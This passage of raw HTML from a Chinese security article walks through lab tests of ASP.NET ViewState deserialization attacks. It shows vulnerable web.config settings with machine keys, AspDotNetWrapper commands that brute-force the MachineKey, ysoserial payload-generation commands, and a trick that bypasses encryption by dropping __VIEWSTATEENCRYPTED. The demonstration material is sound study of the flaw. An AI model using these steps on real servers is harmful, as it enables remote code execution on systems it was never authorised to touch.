&#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">执行成功</span></p><p style="box-sizing: border-box;color: rgb(0, 0, 0);font-size: 16px;font-family: &#34;PingFang SC&#34;, BlinkMacSystemFont, Roboto, &#34;Helvetica Neue&#34;, sans-serif;"><br/></p><p style="box-sizing: border-box;color: rgb(0, 0, 0);font-size: 16px;font-family: &#34;PingFang SC&#34;, BlinkMacSystemFont, Roboto, &#34;Helvetica Neue&#34;, sans-serif;"><br/></p><section data-tools="135编辑器" data-id="100786"><section style="margin-top: 10px;margin-bottom: 10px;text-align: center;"><section style="display: flex;justify-content: center;align-items: center;"><section style="flex: 1 1 0%;height: 1px;background: rgb(24, 112, 190);overflow: hidden;"><br/></section><section style="width: 8px;height: 8px;background: rgb(24, 112, 190);margin-left: 8px;overflow: hidden;"><br/></section><section style="width: 8px;height: 8px;background: rgb(24, 112, 190);margin-left: 4px;overflow: hidden;"><br/></section><section style="width: 8px;height: 8px;background: rgb(24, 112, 190);margin-left: 4px;overflow: hidden;"><br/></section><section style="width: 8px;height: 8px;background: rgb(24, 112, 190);margin-left: 4px;overflow: hidden;"><br/></section><section style="width: 8px;height: 8px;background: rgb(24, 112, 190);margin-left: 4px;margin-right: 8px;overflow: hidden;"><br/></section><section style="flex: 1 1 0%;height: 1px;background: rgb(24, 112, 190);overflow: hidden;"><br/></section></section></section></section><p style="box-sizing: border-box;color: rgb(0, 0, 0);font-size: 16px;font-family: &#34;PingFang SC&#34;, BlinkMacSystemFont, Roboto, &#34;Helvetica Neue&#34;, sans-serif;"><br/></p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;text-align: left;line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">4.2. testCase2 签名、不加密</span><br/></h3><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">如果开启签名，那么服务端返回的数据就会在尾部带有校验信息，在不知道 MachineKey 的情况下，我们无法使我们的 paylaod 通过校验，也就无法触发反序列化，除非利用别的方法得到了 MachineKey，那么就得通过爆破枚举的方式来得到。</span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">利用上文提到的工具 AspDotNetWrapper 来爆破 MachineKey，为了验证它的效果，这里在配置的时候挑选一个已经在字典中的 MachineKey 来进行测试。（这里仅为验证工具效果，真实环境中往往很难爆破到 MachineKey）</span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">web.config:</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">configuration</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">system.web</span>&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">pages</span> </span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">enableViewState</span>=<span class="code-snippet__string">&#34;true&#34;</span> </span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">enableViewStateMac</span>=<span class="code-snippet__string">&#34;true&#34;</span> </span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">viewStateEncryptionMode</span>=<span class="code-snippet__string">&#34;Never&#34;</span> </span></code><code><span class="code-snippet_outer">        /&gt;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">customErrors</span> <span class="code-snippet__attr">mode</span>=<span class="code-snippet__string">&#34;Off&#34;</span>/&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">machineKey</span></span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">validationKey</span>=<span class="code-snippet__string">&#34;32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F&#34;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">decryptionKey</span>=<span class="code-snippet__string">&#34;B179091DBB2389B996A526DE8BCD7ACFDBCAB04EF1D085481C61496F693DF5F4&#34;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">validation</span>=<span class="code-snippet__string">&#34;SHA1&#34;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">decryption</span>=<span class="code-snippet__string">&#34;AES&#34;</span></span></code><code><span class="code-snippet_outer">        /&gt;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">system.web</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">appSettings</span>&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">add</span> <span class="code-snippet__attr">key</span>=<span class="code-snippet__string">&#34;aspnet:AllowInsecureDeserialization&#34;</span> <span class="code-snippet__attr">value</span>=<span class="code-snippet__string">&#34;true&#34;</span> /&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">appSettings</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">configuration</span>&gt;</span></span></code></pre></section><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">此时再去访问页面，burpsuite 已经提示 ViewState 开启了MAC 校验</span></p></section><p style="text-align: center;"><img class="rich_pages" data-ratio="0.4794759825327511" data-s="300,640" style="" data-type="png" data-w="1145" src="https://wechat2rss.xlab.app/img-proxy/?k=30d23f7a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5DMqBCzyLPZvR4z2u9dibJiaWOMhk7ibqaFd6Masuc6jWaw3UiaxrzbZMx9A%2F640%3Fwx_fmt%3Dpng"/></p><section><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">接着来试一下爆破的 MachineKey 的效果：</span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">返回的 ViewState:</span></p><p style="text-align: center;"><img class="rich_pages" data-backh="54" data-backw="524" data-ratio="0.10238305383936452" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1133" src="https://wechat2rss.xlab.app/img-proxy/?k=e3eda92c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5D7trASSECTMUYMoiadUe8lLqSNHYYwHB2z1Qfl4xzLubQDoangicTRCbA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">交给程序来跑：</span></p><blockquote style="box-sizing: border-box;margin: 20px 10px;padding-top: 1px;padding-bottom: 1px;font-size: 16px;text-align: left;color: rgb(91, 91, 91);line-height: 1.5;background: rgba(158, 158, 158, 0.1);border-left-color: rgb(158, 158, 158);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><p style="box-sizing: border-box;margin: 10px;color: rgb(63, 63, 63);line-height: 1.6;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 14px;">AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUJMjM0MDYzMjM2D2QWAgIDDxYCHgdlbmN0eXBlBRNtdWx0aXBhcnQvZm9ybS1kYXRhFgICAQ8PFgIeBFRleHQFE0M6XGluZXRwdWJcd3d3cm9vdFxkZGR1W+BiwusT65xqg+ZK+LsGaACy1w== --decrypt --purpose=ViewState --modifier=69164837 --macdecode</span></p></blockquote><p style="text-align: center;"><img class="rich_pages" data-backh="171" data-backw="524" data-ratio="0.3256597417181359" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1781" src="https://wechat2rss.xlab.app/img-proxy/?k=25d0faa1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5DFJS9qmuexpEl6JpBxkf5STqH3a1dPwLAkeruGDsIF2ZUDib3F3gtgtA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">程序通过枚举，得到了 MachineKey。</span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">然后 ysoserial 生成对应的 payload</span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 14px;">ysoserial.exe -p ViewState -g TextFormattingRunProperties -c &#34;echo test2 &gt; C:\temptest\test2.txt&#34; --generator=69164837 --validationalg=&#34;SHA1&#34; --validationkey=&#34;32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F&#34;</span></p><p style="text-align: center;"><img class="rich_pages" data-backh="204" data-backw="524" data-ratio="0.3900900900900901" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1110" src="https://wechat2rss.xlab.app/img-proxy/?k=901b7683&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5DUnjgWtnes6z4EcZ76icB1r1RVjh9rCEJeO6EyhOUXrczypUA729KQKA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">验证</span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">结果：</span></p></section><p style="text-align: center;"><img class="rich_pages" data-backh="246" data-backw="524" data-ratio="0.4691358024691358" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1134" src="https://wechat2rss.xlab.app/img-proxy/?k=4179303a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5DMcCctDpTB1CczJDJSUjY2TPlQw5PRdjkwTWcOqKFswicBPCwic5CWV8A%2F640%3Fwx_fmt%3Dpng"/></p><section><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">执行成功</span></p><p style="box-sizing: border-box;color: rgb(0, 0, 0);font-size: 16px;font-family: &#34;PingFang SC&#34;, BlinkMacSystemFont, Roboto, &#34;Helvetica Neue&#34;, sans-serif;"><br/></p><p style="box-sizing: border-box;color: rgb(0, 0, 0);font-size: 16px;font-family: &#34;PingFang SC&#34;, BlinkMacSystemFont, Roboto, &#34;Helvetica Neue&#34;, sans-serif;"><br/></p><section data-tools="135编辑器" data-id="100786"><section style="margin-top: 10px;margin-bottom: 10px;text-align: center;"><section style="display: flex;justify-content: center;align-items: center;"><section style="flex: 1 1 0%;height: 1px;background: rgb(24, 112, 190);overflow: hidden;"><br/></section><section style="width: 8px;height: 8px;background: rgb(24, 112, 190);margin-left: 8px;overflow: hidden;"><br/></section><section style="width: 8px;height: 8px;background: rgb(24, 112, 190);margin-left: 4px;overflow: hidden;"><br/></section><section style="width: 8px;height: 8px;background: rgb(24, 112, 190);margin-left: 4px;overflow: hidden;"><br/></section><section style="width: 8px;height: 8px;background: rgb(24, 112, 190);margin-left: 4px;overflow: hidden;"><br/></section><section style="width: 8px;height: 8px;background: rgb(24, 112, 190);margin-left: 4px;margin-right: 8px;overflow: hidden;"><br/></section><section style="flex: 1 1 0%;height: 1px;background: rgb(24, 112, 190);overflow: hidden;"><br/></section></section></section></section><p style="box-sizing: border-box;color: rgb(0, 0, 0);font-size: 16px;font-family: &#34;PingFang SC&#34;, BlinkMacSystemFont, Roboto, &#34;Helvetica Neue&#34;, sans-serif;"><br/></p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;text-align: left;line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">4.3. testCase3 加密（.NET Framwork &lt; 4.5）</span><br/></h3><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">上文提到过 EncryptOrDecryptData() 函数也会进行校验，所以对于开启了加密的 ViewState，那么他一定也是进行了校验的。</span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">遗憾的是，AspDotNetWrapper 无法爆破 .NET Framwork &lt; 4.5 下加密的 ViewState。</span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">不过上文还说到，ASP.NET 是根据请求头中是否包含 __VIEWSTATEENCRYPTED 项来判断是否加密的，那么如果我们请求时不带这个参数，ASP.NET 也就不会尝试去解密。这时如果我们已知 MachineKey（暂时我们没办法通过爆破来获取，仅能通过别的途径拿到），可以在构造 paylaod 时不考虑加密。</span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">web.config 开启加密</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">configuration</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">system.web</span>&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">pages</span> </span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">enableViewState</span>=<span class="code-snippet__string">&#34;true&#34;</span> </span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">enableViewStateMac</span>=<span class="code-snippet__string">&#34;true&#34;</span> </span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">viewStateEncryptionMode</span>=<span class="code-snippet__string">&#34;Always&#34;</span> </span></code><code><span class="code-snippet_outer">        /&gt;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">customErrors</span> <span class="code-snippet__attr">mode</span>=<span class="code-snippet__string">&#34;Off&#34;</span>/&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">machineKey</span></span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">validationKey</span>=<span class="code-snippet__string">&#34;32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F&#34;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">decryptionKey</span>=<span class="code-snippet__string">&#34;B179091DBB2389B996A526DE8BCD7ACFDBCAB04EF1D085481C61496F693DF5F4&#34;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">validation</span>=<span class="code-snippet__string">&#34;SHA1&#34;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">decryption</span>=<span class="code-snippet__string">&#34;AES&#34;</span></span></code><code><span class="code-snippet_outer">        /&gt;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">system.web</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">appSettings</span>&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">add</span> <span class="code-snippet__attr">key</span>=<span class="code-snippet__string">&#34;aspnet:AllowInsecureDeserialization&#34;</span> <span class="code-snippet__attr">value</span>=<span class="code-snippet__string">&#34;true&#34;</span> /&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">appSettings</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">configuration</span>&gt;</span></span></code></pre></section><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">此时再去访问页面，burpsuite 提示 ViewState 被加密了</span></p></section><p style="text-align: center;"><img class="rich_pages" data-backh="136" data-backw="524" data-ratio="0.2598770851624232" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1139" src="https://wechat2rss.xlab.app/img-proxy/?k=77afaacd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5DAEmgDM5ykFh4udGbsNniatX8ypOQfkj9m7ugEsnbbWPX94icGuI4WxNg%2F640%3Fwx_fmt%3Dpng"/></p><section><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">假设我们已经知道了 MachineKey（事实上我们一直都知道），只利用 validationkey，不管加密地去构造 payload</span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">ysoserial.exe -p ViewState -g TextFormattingRunProperties -c &#34;echo test3 &gt; C:\temptest\test3.txt&#34; --generator=69164837 --validationalg=&#34;SHA1&#34; --validationkey=&#34;32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F&#34;</span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">然后在构造的 POST 请求中删除 __VIEWSTATEENCRYPTED 参数。</span></p><p style="text-align: center;"><img class="rich_pages" data-backh="236" data-backw="524" data-ratio="0.4507042253521127" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1136" src="https://wechat2rss.xlab.app/img-proxy/?k=a34382c9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5DbNAq1lNNT9Z34wcM2zgCwyeicHehIlib0SUASEFXpLO88TVxpicUvfK6w%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">验证结果：</span></p></section><p style="text-align: center;"><img class="rich_pages" data-backh="231" data-backw="524" data-ratio="0.4409448818897638" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1143" src="https://wechat2rss.xlab.app/img-proxy/?k=383e1665&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5Dt9j3pXBLE8qhib2rkcgfBzKZR4iahtCuKiaWaY6nOudAa02ibHicHDaKhog%2F640%3Fwx_fmt%3Dpng"/></p><section><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">执行成功</span></p><p style="box-sizing: border-box;color: rgb(0, 0, 0);font-size: 16px;font-family: &#34;PingFang SC&#34;, BlinkMacSystemFont, Roboto, &#34;Helvetica Neue&#34;, sans-serif;"><br/></p><p style="box-sizing: border-box;color: rgb(0, 0, 0);font-size: 16px;font-family: &#34;PingFang SC&#34;, BlinkMacSystemFont, Roboto, &#34;Helvetica Neue&#34;, sans-serif;"><br/></p><section data-tools="135编辑器" data-id="100786"><section style="margin-top: 10px;margin-bottom: 10px;text-align: center;"><section style="display: flex;justify-content: center;align-items: center;"><section style="flex: 1 1 0%;height: 1px;background: rgb(24, 112, 190);overflow: hidden;"><br/></section><section style="width: 8px;height: 8px;background: rgb(24, 112, 190);margin-left: 8px;overflow: hidden;"><br/></section><section style="width: 8px;height: 